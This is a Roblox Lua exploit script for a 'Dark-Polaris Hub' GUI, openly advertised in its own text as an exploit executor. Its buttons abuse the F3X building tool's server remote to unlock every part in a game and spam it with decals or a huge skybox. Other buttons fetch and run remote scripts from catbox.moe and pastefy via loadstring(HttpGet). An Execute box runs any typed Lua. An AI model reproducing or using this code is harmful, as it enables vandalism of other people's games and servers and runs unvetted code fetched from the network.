--[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER designed using localmaze gui creator ]=] -- Instances: 34 | Scripts: 7 | Modules: 0 | Tags: 0 local LMG2L = {}; -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui LMG2L["ScreenGui_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); LMG2L["ScreenGui_1"]["ClipToDeviceSafeArea"] = false; LMG2L["ScreenGui_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; LMG2L["ScreenGui_1"]["ResetOnSpawn"] = false; -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.TextButton LMG2L["TextButton_2"] = Instance.new("TextButton", LMG2L["ScreenGui_1"]); LMG2L["TextButton_2"]["TextWrapped"] = true; LMG2L["TextButton_2"]["BorderSizePixel"] = 0; LMG2L["TextButton_2"]["TextSize"] = 20; LMG2L["TextButton_2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_2"]["BackgroundColor3"] = Color3.fromRGB(22, 22, 22); LMG2L["TextButton_2"]["Size"] = UDim2.new(0, 138, 0, 42); LMG2L["TextButton_2"]["Text"] = [[Open]]; LMG2L["TextButton_2"]["Position"] = UDim2.new(0, 338, 0, -44); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.TextButton.UICorner LMG2L["UICorner_3"] = Instance.new("UICorner", LMG2L["TextButton_2"]); LMG2L["UICorner_3"]["CornerRadius"] = UDim.new(0, 20); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.TextButton.LocalScript LMG2L["LocalScript_4"] = Instance.new("LocalScript", LMG2L["TextButton_2"]); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame LMG2L["Frame_5"] = Instance.new("Frame", LMG2L["ScreenGui_1"]); LMG2L["Frame_5"]["BorderSizePixel"] = 3; LMG2L["Frame_5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["Frame_5"]["Size"] = UDim2.new(0, 834, 0, 480); LMG2L["Frame_5"]["Position"] = UDim2.new(0, 14, 0, 8); LMG2L["Frame_5"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Frame_5"]["BackgroundTransparency"] = 0.2; -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextLabel LMG2L["TextLabel_6"] = Instance.new("TextLabel", LMG2L["Frame_5"]); LMG2L["TextLabel_6"]["TextWrapped"] = true; LMG2L["TextLabel_6"]["BorderSizePixel"] = 0; LMG2L["TextLabel_6"]["TextXAlignment"] = Enum.TextXAlignment.Left; LMG2L["TextLabel_6"]["TextScaled"] = true; LMG2L["TextLabel_6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextLabel_6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_6"]["Size"] = UDim2.new(0, 830, 0, 22); LMG2L["TextLabel_6"]["Text"] = [[Dark-Polaris Hub]]; LMG2L["TextLabel_6"]["Position"] = UDim2.new(0, 2, 0, 4); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextBox LMG2L["TextBox_7"] = Instance.new("TextBox", LMG2L["Frame_5"]); LMG2L["TextBox_7"]["TextXAlignment"] = Enum.TextXAlignment.Left; LMG2L["TextBox_7"]["BorderSizePixel"] = 3; LMG2L["TextBox_7"]["TextWrapped"] = true; LMG2L["TextBox_7"]["TextStrokeColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextBox_7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextBox_7"]["TextYAlignment"] = Enum.TextYAlignment.Top; LMG2L["TextBox_7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextBox_7"]["MultiLine"] = true; LMG2L["TextBox_7"]["ClearTextOnFocus"] = false; LMG2L["TextBox_7"]["PlaceholderText"] = [[No Bio]]; LMG2L["TextBox_7"]["Size"] = UDim2.new(0, 422, 0, 228); LMG2L["TextBox_7"]["Position"] = UDim2.new(0, 400, 0, 54); LMG2L["TextBox_7"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextBox_7"]["Text"] = [[-- No Bio]]; -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextLabel LMG2L["TextLabel_8"] = Instance.new("TextLabel", LMG2L["Frame_5"]); LMG2L["TextLabel_8"]["TextWrapped"] = true; LMG2L["TextLabel_8"]["BorderSizePixel"] = 3; LMG2L["TextLabel_8"]["TextScaled"] = true; LMG2L["TextLabel_8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextLabel_8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_8"]["Size"] = UDim2.new(0, 166, 0, 16); LMG2L["TextLabel_8"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_8"]["Text"] = [[Executor]]; LMG2L["TextLabel_8"]["Position"] = UDim2.new(0, 400, 0, 30); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextLabel LMG2L["TextLabel_9"] = Instance.new("TextLabel", LMG2L["Frame_5"]); LMG2L["TextLabel_9"]["TextWrapped"] = true; LMG2L["TextLabel_9"]["BorderSizePixel"] = 3; LMG2L["TextLabel_9"]["TextScaled"] = true; LMG2L["TextLabel_9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextLabel_9"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_9"]["Size"] = UDim2.new(0, 138, 0, 16); LMG2L["TextLabel_9"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_9"]["Text"] = [[Script F3X]]; LMG2L["TextLabel_9"]["Position"] = UDim2.new(0, 6, 0, 32); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.UIDragDetector LMG2L["UIDragDetector_a"] = Instance.new("UIDragDetector", LMG2L["Frame_5"]); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame LMG2L["Frame_b"] = Instance.new("Frame", LMG2L["Frame_5"]); LMG2L["Frame_b"]["BorderSizePixel"] = 3; LMG2L["Frame_b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["Frame_b"]["Size"] = UDim2.new(0, 384, 0, 222); LMG2L["Frame_b"]["Position"] = UDim2.new(0, 6, 0, 56); LMG2L["Frame_b"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton LMG2L["TextButton_c"] = Instance.new("TextButton", LMG2L["Frame_b"]); LMG2L["TextButton_c"]["TextWrapped"] = true; LMG2L["TextButton_c"]["BorderSizePixel"] = 3; LMG2L["TextButton_c"]["TextScaled"] = true; LMG2L["TextButton_c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextButton_c"]["Size"] = UDim2.new(0, 124, 0, 40); LMG2L["TextButton_c"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_c"]["Text"] = [[Skybox]]; LMG2L["TextButton_c"]["Position"] = UDim2.new(0, 6, 0, 6); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton.LocalScript LMG2L["LocalScript_d"] = Instance.new("LocalScript", LMG2L["TextButton_c"]); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton LMG2L["TextButton_e"] = Instance.new("TextButton", LMG2L["Frame_b"]); LMG2L["TextButton_e"]["TextWrapped"] = true; LMG2L["TextButton_e"]["BorderSizePixel"] = 3; LMG2L["TextButton_e"]["TextScaled"] = true; LMG2L["TextButton_e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextButton_e"]["Size"] = UDim2.new(0, 124, 0, 40); LMG2L["TextButton_e"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_e"]["Text"] = [[Decal]]; LMG2L["TextButton_e"]["Position"] = UDim2.new(0, 6, 0, 54); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton.LocalScript LMG2L["LocalScript_f"] = Instance.new("LocalScript", LMG2L["TextButton_e"]); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton LMG2L["TextButton_10"] = Instance.new("TextButton", LMG2L["Frame_b"]); LMG2L["TextButton_10"]["TextWrapped"] = true; LMG2L["TextButton_10"]["BorderSizePixel"] = 3; LMG2L["TextButton_10"]["TextScaled"] = true; LMG2L["TextButton_10"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextButton_10"]["Size"] = UDim2.new(0, 124, 0, 40); LMG2L["TextButton_10"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_10"]["Text"] = [[Realm]]; LMG2L["TextButton_10"]["Position"] = UDim2.new(0, 138, 0, 6); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton.LocalScript LMG2L["LocalScript_11"] = Instance.new("LocalScript", LMG2L["TextButton_10"]); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton LMG2L["TextButton_12"] = Instance.new("TextButton", LMG2L["Frame_b"]); LMG2L["TextButton_12"]["TextWrapped"] = true; LMG2L["TextButton_12"]["BorderSizePixel"] = 3; LMG2L["TextButton_12"]["TextScaled"] = true; LMG2L["TextButton_12"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextButton_12"]["Size"] = UDim2.new(0, 124, 0, 40); LMG2L["TextButton_12"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_12"]["Text"] = [[R0van Gui F3X V3]]; LMG2L["TextButton_12"]["Position"] = UDim2.new(0, 138, 0, 54); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton.LocalScript LMG2L["LocalScript_13"] = Instance.new("LocalScript", LMG2L["TextButton_12"]); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextButton LMG2L["TextButton_14"] = Instance.new("TextButton", LMG2L["Frame_5"]); LMG2L["TextButton_14"]["TextWrapped"] = true; LMG2L["TextButton_14"]["BorderSizePixel"] = 3; LMG2L["TextButton_14"]["TextScaled"] = true; LMG2L["TextButton_14"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextButton_14"]["Size"] = UDim2.new(0, 124, 0, 40); LMG2L["TextButton_14"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_14"]["Text"] = [[Execute]]; LMG2L["TextButton_14"]["Position"] = UDim2.new(0, 400, 0, 292); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextButton.LocalScript LMG2L["LocalScript_15"] = Instance.new("LocalScript", LMG2L["TextButton_14"]); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextButton LMG2L["TextButton_16"] = Instance.new("TextButton", LMG2L["Frame_5"]); LMG2L["TextButton_16"]["TextWrapped"] = true; LMG2L["TextButton_16"]["BorderSizePixel"] = 3; LMG2L["TextButton_16"]["TextScaled"] = true; LMG2L["TextButton_16"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextButton_16"]["Size"] = UDim2.new(0, 124, 0, 40); LMG2L["TextButton_16"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextButton_16"]["Text"] = [[Clear]]; LMG2L["TextButton_16"]["Position"] = UDim2.new(0, 534, 0, 292); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextButton.LocalScript LMG2L["LocalScript_17"] = Instance.new("LocalScript", LMG2L["TextButton_16"]); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.ScrollingFrame LMG2L["ScrollingFrame_18"] = Instance.new("ScrollingFrame", LMG2L["Frame_5"]); LMG2L["ScrollingFrame_18"]["BorderSizePixel"] = 3; LMG2L["ScrollingFrame_18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["ScrollingFrame_18"]["Size"] = UDim2.new(0, 386, 0, 184); LMG2L["ScrollingFrame_18"]["Position"] = UDim2.new(0, 6, 0, 290); LMG2L["ScrollingFrame_18"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.ScrollingFrame.TextLabel LMG2L["TextLabel_19"] = Instance.new("TextLabel", LMG2L["ScrollingFrame_18"]); LMG2L["TextLabel_19"]["TextWrapped"] = true; LMG2L["TextLabel_19"]["BorderSizePixel"] = 0; LMG2L["TextLabel_19"]["TextXAlignment"] = Enum.TextXAlignment.Left; LMG2L["TextLabel_19"]["TextScaled"] = true; LMG2L["TextLabel_19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextLabel_19"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_19"]["BackgroundTransparency"] = 1; LMG2L["TextLabel_19"]["Size"] = UDim2.new(0, 366, 0, 24); LMG2L["TextLabel_19"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextLabel_19"]["Text"] = [[Changelogs 🔥]]; LMG2L["TextLabel_19"]["Position"] = UDim2.new(0, 4, 0, 4); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.ScrollingFrame.TextLabel LMG2L["TextLabel_1a"] = Instance.new("TextLabel", LMG2L["ScrollingFrame_18"]); LMG2L["TextLabel_1a"]["TextWrapped"] = true; LMG2L["TextLabel_1a"]["BorderSizePixel"] = 0; LMG2L["TextLabel_1a"]["TextXAlignment"] = Enum.TextXAlignment.Left; LMG2L["TextLabel_1a"]["TextScaled"] = true; LMG2L["TextLabel_1a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_1a"]["TextColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextLabel_1a"]["Size"] = UDim2.new(0, 366, 0, 70); LMG2L["TextLabel_1a"]["Text"] = [[Introducing Dark-Polaris, Born of Polaria, Well We Have Launched Our GUI Namely Dark-Polaris, After Losing Dark-Polaris V1, We Discontinued Dark-Polaris V1 And We Made An Advanced Version.]]; LMG2L["TextLabel_1a"]["Position"] = UDim2.new(0, 4, 0, 36); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.ScrollingFrame.TextLabel.UIGradient LMG2L["UIGradient_1b"] = Instance.new("UIGradient", LMG2L["TextLabel_1a"]); LMG2L["UIGradient_1b"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 108, 30)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 228, 26))}; -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.ScrollingFrame.TextLabel LMG2L["TextLabel_1c"] = Instance.new("TextLabel", LMG2L["ScrollingFrame_18"]); LMG2L["TextLabel_1c"]["TextWrapped"] = true; LMG2L["TextLabel_1c"]["BorderSizePixel"] = 0; LMG2L["TextLabel_1c"]["TextXAlignment"] = Enum.TextXAlignment.Left; LMG2L["TextLabel_1c"]["TextScaled"] = true; LMG2L["TextLabel_1c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_1c"]["TextColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextLabel_1c"]["Size"] = UDim2.new(0, 366, 0, 70); LMG2L["TextLabel_1c"]["Text"] = [[🍎 Introducing Dark-Polaris Exploit Executor. We have received new executors, namely Arceus X, Delta, Krnl, Fluxus, Xeno, Wave, and all executors we received at Scriptblox. We do not accept with Skid]]; LMG2L["TextLabel_1c"]["Position"] = UDim2.new(0, 4, 0, 110); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.ScrollingFrame.TextLabel.UIGradient LMG2L["UIGradient_1d"] = Instance.new("UIGradient", LMG2L["TextLabel_1c"]); LMG2L["UIGradient_1d"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(38, 179, 255)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(27, 21, 255))}; -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.ScrollingFrame.TextLabel LMG2L["TextLabel_1e"] = Instance.new("TextLabel", LMG2L["ScrollingFrame_18"]); LMG2L["TextLabel_1e"]["TextWrapped"] = true; LMG2L["TextLabel_1e"]["BorderSizePixel"] = 0; LMG2L["TextLabel_1e"]["TextXAlignment"] = Enum.TextXAlignment.Left; LMG2L["TextLabel_1e"]["TextScaled"] = true; LMG2L["TextLabel_1e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_1e"]["TextColor3"] = Color3.fromRGB(0, 0, 0); LMG2L["TextLabel_1e"]["Size"] = UDim2.new(0, 366, 0, 70); LMG2L["TextLabel_1e"]["Text"] = [[🔒Security is Important! We Don't Accept About Serverside/FE Bypass Because It's Very Illegal For Exploiters We Have Prepared F3X Script Not Serverside/FE Bypass Use Executor That What We Provide Use For Lua Code Or Some Kind Of Exploit Thank You For Reading]]; LMG2L["TextLabel_1e"]["Position"] = UDim2.new(0, 4, 0, 184); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.ScrollingFrame.TextLabel.UIGradient LMG2L["UIGradient_1f"] = Instance.new("UIGradient", LMG2L["TextLabel_1e"]); LMG2L["UIGradient_1f"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(27, 255, 38)),ColorSequenceKeypoint.new(0.727, Color3.fromRGB(4, 105, 13)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(4, 105, 13))}; -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextLabel LMG2L["TextLabel_20"] = Instance.new("TextLabel", LMG2L["Frame_5"]); LMG2L["TextLabel_20"]["TextWrapped"] = true; LMG2L["TextLabel_20"]["BorderSizePixel"] = 3; LMG2L["TextLabel_20"]["TextXAlignment"] = Enum.TextXAlignment.Left; LMG2L["TextLabel_20"]["TextScaled"] = true; LMG2L["TextLabel_20"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_20"]["TextColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_20"]["Size"] = UDim2.new(0, 366, 0, 70); LMG2L["TextLabel_20"]["BorderColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["TextLabel_20"]["Text"] = [[Follow My Account Tiktok : Priamedandariind Dev : arfanugraha004 Scripter : Cr0x_00LSOS]]; LMG2L["TextLabel_20"]["Position"] = UDim2.new(0, 402, 0, 346); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextLabel.UIGradient LMG2L["UIGradient_21"] = Instance.new("UIGradient", LMG2L["TextLabel_20"]); LMG2L["UIGradient_21"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(92, 92, 92)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 255, 255))}; -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextLabel.UIStroke LMG2L["UIStroke_22"] = Instance.new("UIStroke", LMG2L["TextLabel_20"]); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.TextButton.LocalScript local function C_4() local script = LMG2L["LocalScript_4"]; Button = script.Parent.Parent Frame = script.Parent Button.MouseButton1Click:Connect(function() if Frame. Visible then Frame. Visible = false else Frame. Visible = true end end) end; task.spawn(C_4); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton.LocalScript local function C_d() local script = LMG2L["LocalScript_d"]; local button = script.Parent button.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color, ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) local root = char:WaitForChild("HumanoidRootPart") local pos = root.CFrame + Vector3.new(0, 6, 0) CreatePart(pos, workspace) task.wait(0.2) local skyPart for _, v in workspace:GetChildren() do if v:IsA("BasePart") and (v.Position - pos.Position).magnitude < 1 then skyPart = v break end end if skyPart then SetName(skyPart, "Sky") AddMesh(skyPart) SetMesh(skyPart, "111891702759441") SetTexture(skyPart, id) MeshResize(skyPart, Vector3.new(1000, 1000, 1000)) SetLocked(skyPart, true) SetAnchor(true, skyPart) end end Sky("84535713264454") --Please leave this credit --Script made by Yaazkidd (I copy inspiration from blue2spooky wooo) end) end; task.spawn(C_d); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton.LocalScript local function C_f() local script = LMG2L["LocalScript_f"]; local button = script.Parent button.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("84535713264454") end) end; task.spawn(C_f); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton.LocalScript local function C_11() local script = LMG2L["LocalScript_11"]; local button = script.Parent button.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://files.catbox.moe/lvpji7.txt"))() end) end; task.spawn(C_11); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.Frame.TextButton.LocalScript local function C_13() local script = LMG2L["LocalScript_13"]; local button = script.Parent button.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastefy.app/A13KLlSg/raw"))() end) end; task.spawn(C_13); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextButton.LocalScript local function C_15() local script = LMG2L["LocalScript_15"]; local btn = script.Parent local box = btn.Parent:WaitForChild("TextBox") btn.MouseButton1Click:Connect(function() local code = box.Text if code ~= "" then loadstring(code)() end end) end; task.spawn(C_15); -- Players.RupertgamingBoyy958.PlayerGui.ScreenGui.Frame.TextButton.LocalScript local function C_17() local script = LMG2L["LocalScript_17"]; local clear = script.Parent local box = clear.Parent:WaitForChild("TextBox") clear.MouseButton1Click:Connect(function() box.Text = "" end) end; task.spawn(C_17); return LMG2L["ScreenGui_1"], require;